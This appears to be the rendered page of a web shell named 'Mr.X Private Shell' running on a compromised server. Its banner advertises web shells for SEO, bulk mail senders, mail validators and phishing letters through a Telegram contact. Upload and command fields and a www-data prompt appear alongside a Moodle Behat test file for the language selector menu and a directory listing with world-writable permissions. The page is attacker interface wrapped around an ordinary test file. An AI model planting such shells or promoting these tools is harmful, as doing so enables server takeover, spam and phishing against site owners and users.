__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@javascript @theme_boost
Feature: Language selector menu
  To be able to set the preferred language for the site
  As a user
  I need to be presented with a language selector menu

  Background:
    Given remote langimport tests are enabled
    And the following "courses" exist:
      | fullname | shortname |
      | Course 1 | C1        |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
    And the following "language pack" exists:
      | language | en_ar |

  Scenario: Logged user is presented with a language selector which is placed within the user menu
    Given I log in as "teacher1"
    And I am on site homepage
    # The language selector menu is not present in the navbar when a user is logged in.
    And language selector menu should not exist in the navbar
    # The language selector is present within the user menu.
    And "Language" "link" should exist in the user menu
    When I follow "Language" in the user menu
    Then I should see "Language selector" user submenu
    And "English ‎(en)‎" "link" should exist in the "Language selector" user submenu
    And "English (pirate) ‎(en_ar)‎" "link" should exist in the "Language selector" user submenu

  Scenario: Non-logged user is presented with a language selector which is placed within the navbar
    Given I am on site homepage
    # The language selector menu is present in the navbar when a user is not logged in.
    And language selector menu should exist in the navbar
    And "English ‎(en)‎" "link" should exist in the language selector menu
    And "English (pirate) ‎(en_ar)‎" "link" should exist in the language selector menu

  Scenario: Logged user is not presented with a language selector in a course if a language is forced in that context
    Given I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I navigate to "Settings" in current page administration
    And I expand all fieldsets
    And I set the following fields to these values:
      | id_lang | en |
    And I press "Save and display"
    # The language selector is not present within the user menu in the course context when a language is enforced.
    When I am on "Course 1" course homepage
    And "Language" "link" should not exist in the user menu
    # The language selector is present within the user menu in other contexts.
    And I am on site homepage
    And "Language" "link" should exist in the user menu

  Scenario: Logged user is not presented with a language selector if there is less than two installed languages
    Given I log in as "admin"
    And I navigate to "Language > Language packs" in site administration
    And I set the field "Installed language packs" to "en_ar"
    And I press "Uninstall selected language pack(s)"
    And I click on "Yes" "button" in the "Uninstall selected language pack(s)" "dialogue"
    And the "Installed language packs" select box should not contain "en_ar"
    When I am on site homepage
    # The language selector is not present within the user menu.
    And "Language" "link" should not exist in the user menu

  Scenario: Non-logged user is not presented with a language selector if there is less than two installed languages
    Given I log in as "admin"
    And I navigate to "Language > Language packs" in site administration
    And I set the field "Installed language packs" to "en_ar"
    And I press "Uninstall selected language pack(s)"
    And I click on "Yes" "button" in the "Uninstall selected language pack(s)" "dialogue"
    And the "Installed language packs" select box should not contain "en_ar"
    And I log out
    When I am on site homepage
    # The language selector menu is not present in the navbar.
    Then language selector menu should not exist in the navbar

Filemanager

Name Type Size Permission Actions
addblock.feature File 1.67 KB 0777
behat_theme_boost_behat_navigation.php File 4.25 KB 0777
blacklist.json File 483 B 0777
breadcrumb.feature File 4.39 KB 0777
category_role_assignment.feature File 1.74 KB 0777
contextmenu.feature File 1.06 KB 0777
course_reuse.feature File 2.05 KB 0777
formerrors.feature File 1.08 KB 0777
languagemenu.feature File 3.87 KB 0777
mycoursesblocks.feature File 1.42 KB 0777
primarynav.feature File 5.56 KB 0777
regionmainsettingsmenu.feature File 1.21 KB 0777
reset_tour.feature File 1.18 KB 0777
settingstabs.feature File 948 B 0777
theme_selector.feature File 1.4 KB 0777
tour_filter.feature File 2.01 KB 0777
welcome_to_moodle.feature File 1.54 KB 0777
Filemanager